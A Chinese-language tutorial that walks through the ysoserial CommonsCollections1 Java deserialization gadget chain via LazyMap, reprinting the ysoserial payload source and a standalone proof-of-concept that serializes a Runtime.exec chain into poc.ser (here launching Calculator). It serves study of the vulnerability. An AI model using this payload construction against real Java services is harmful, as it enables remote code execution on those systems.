0x01 前言
通过前面几篇的CommonCollections1
利用链的分析,我们也是终于一步一步打好了基础
也算是对Java反序列化导致的RCE漏洞有一定认识了
这个时候如果你转头去看ysoserial源码,你会发现ysoserial
源码的CommonCollections1
利用链
是使用LazyMap
来作为漏洞触发点的
而前面几篇文章是使用TransformedMap
来作为漏洞触发点的
严格来说phith0n使用这个TransformedMap
来作为漏洞触发点的链,并不能叫做CommonCollections1
因为使用的是TransformedMap
而不是LazyMap
,但是这两个的区别,其实就是漏洞触发点,有点不同而已
作为打基础来说,使用phith0n(P牛)的这个TransformedMap
来作为漏洞触发点的链,更加简单,也更加容易入门
本文就让我们学习ysoserial
的CommonCollections1
,学习如何使用LazyMap
作为漏洞触发点
0x02 ysoserial-cc1攻击链介绍
首先打开并进入 ysoserial 项目
找到 /ysoserial-0.0.5/src/main/java/ysoserial/payloads/CommonsCollections1.java 这个文件
看看 ysoserial 是如何生成CommonsCollections1利用链的
代码如下:
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
是不是感觉看着好奇怪?POC怎么完全不一样了,这是因为ysoserial是一个项目,所以它把一些通用方法封装起来了
这会导致我们学习的时候多走弯路,因此我们可以换个去掉了这些通用方法的POC,在进行学习
0x03 demo
如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest
编辑器为: IntelliJ IDEA
java版本:
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
使用的架包:
Commons Collections 3.1
// 路径: /DeserializationTest/src/main/java
// 文件名称: CommonCollections1Test4.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1Test4 {
public static void main(String[] args) throws Exception {
// 要执行的命令
String cmd = "open -a /System/Applications/Calculator.app";
//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
};
// 将 transformers 数组存入 ChaniedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建个 Map 准备拿来绑定 transformerChina
Map innerMap = new HashMap();
// 创建个 transformerChina 并绑定 innerMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 反射机制调用AnnotationInvocationHandler类的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 使用jdk动态代理
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
// 获取 AnnotationInvocationHandler 类实例
Object instance = ctor.newInstance(Retention.class, proxyMap);
// 保存反序列化文件
FileOutputStream f = new FileOutputStream("poc.ser");
ObjectOutputStream out = new ObjectOutputStream(f);
out.writeObject(instance);
System.out.println("执行完毕");
}
}
// 执行完毕以后 DeserializationTest目录下面会生成 poc.ser
接着就去运行Test方法,进行攻击测试,会弹出一个计算器
0x04 利用链过程
ysoserial 源码的注释中给出了利用链的过程如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x05 前置知识铺垫
首先让我们回顾一下,CC1,要想成功触发漏洞的话,需要什么?
要想成功的命令执行就必须触发ChainedTransformer
类的transform
方法
清楚的知道这个就好办了
首先LazyMap
与TransformedMap
,都来自于commons-collections
库
并且都继承了AbstractMapDecorator
类
接着LazyMap
与TransformedMap
漏洞触发点的区别如下:LazyMap
是在LazyMap.get
去触发transform
方法TransformedMap
是在TransformedMap.put
去触发transform
方法
对比TransformedMap
方法的利用,LazyMap
方法会显的利用会显的更加复杂
因为sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法,并没有直接调用到Map
的get
方法,去触发transform
的方法
所以ysoserial
找了另外一条路
通过AnnotationInvocationHandler
类的invoke
方法,去调用到get
方法
AnnotationInvocationHandler
类的invoke
方法,代码如下:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);// 重点代码
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
那么如何调用到AnnotationInvocationHandler
类的invoke
方法?
ysoserial作者使用的是JDK原生动态代理
实现的
关于动态代理的知识,请查看Java安全慢游记->Java 安全基础->Java代理模式(Proxy)->Java 动态代理-JDK原生
Java 动态代理-JDK原生: https://www.yuque.com/pmiaowu/gpy1q8/ze4mgq
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
0x06 分析
前置知识也学习的差不多了,现在终于可以开始分析了
老样子先问问题,边问边答
0x06.1 啊明明,四问
第一个问题,看看LazyMap类
的decorate
方法干了什么?
第二个问题,简单介绍一下动态代理?做了什么?
第三个问题,ctor.newInstance(Retention.class, proxyMap);
这段代码干了什么?
第四个问题,整体运行流程是?
0x06.2 自我解答
第一个问题答案:
对应POC代码Map outerMap = LazyMap.decorate(innerMap, transformerChain);
只是单纯的赋值操作
其中把传进来的transformerChain
赋值给了this.factory
第二个问题答案:
还是简单介绍一下,动态代理需要的类与参数Proxy
的newProxyInstance
方法接收的三个参数的作用分别为:
第⼀个参数,代理对象的类加载器
第二个参数,代理类全部的接口
第三个参数,实现InvocationHandler接口的对象
继续返回来,查看以下两段POC代码,看看做了啥:
// 反射机制调用AnnotationInvocationHandler类的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 使用jdk动态代理
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
可以看到使用了动态代理(重点关注Map proxyMap
)
其中handler
是反射创建的一个AnnotationInvocationHandler
类
而且AnnotationInvocationHandler
类,实现了InvocationHandler
接口
因此可以直接作为Proxy.newProxyInstance
的第三个参数传入
最终构造完以后,返回一个Map proxyMap
,它现在就是一个代理对象了
第三个问题答案:
在看看以下一段POC代码,看看做了啥,先看一眼对应的POC:
Object instance = ctor.newInstance(Retention.class, proxyMap);
在看AnnotationInvocationHandler
类的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
因为AnnotationInvocationHandler
类的构造函数
第一个参数必须要为Annotation
类的子类
并且该Annotation
类的子类必须含有至少一个方法,那样才能符合构造构造函数的要求
而Retention
类就是Annotation
类的子类之一,并且含有一个方法
符合条件以后就把我们传进来的proxyMap
赋值给了this.memberValues
第四个问题答案:
现在查看运行流程
POC执行反序列化的时候,会先执行AnnotationInvocationHandler
类的readObject()
方法readObject()
方法会去调用this.memberValues
的entrySet()
方法this.memberValues
是通过反射调用构造方法传入的参数,传入的参数为Map proxyMap
而因为Map proxyMap
是我们的代理对象
因此调用proxyMap
的entrySet()
会触发AnnotationInvocationHandler
类的invoke()
方法
执行AnnotationInvocationHandler
类的invoke()
方法,又会调用this.memberValues.get(var4)
这会导致进入到了LazyMap
的get()
方法
而LazyMap
的get()
方法
里面的this.factory
是一个Transformer[]
数组
这时候执行this.factory.transform(key)
然后ChainedTransformer
方法,又自动遍历调用Transformer[]
里面的transform
方法
最终导致传入的Runtime
调用了exec
,执行了命令,弹了个计算器
0x07 结尾
CC1在jdk1.7u21、jdk1.8_101、jdk1.8_171时,都是可用的(网上的大佬说的,我照抄)
只能这几个版本使用,主要是因为其它版本的AnnotationInvocationHandler
的readObject()
是经过了改动的
最后面,恭喜我们自己,完整的从简单到困难学会了CC1,真正迈入了Java的反序列化漏洞的大门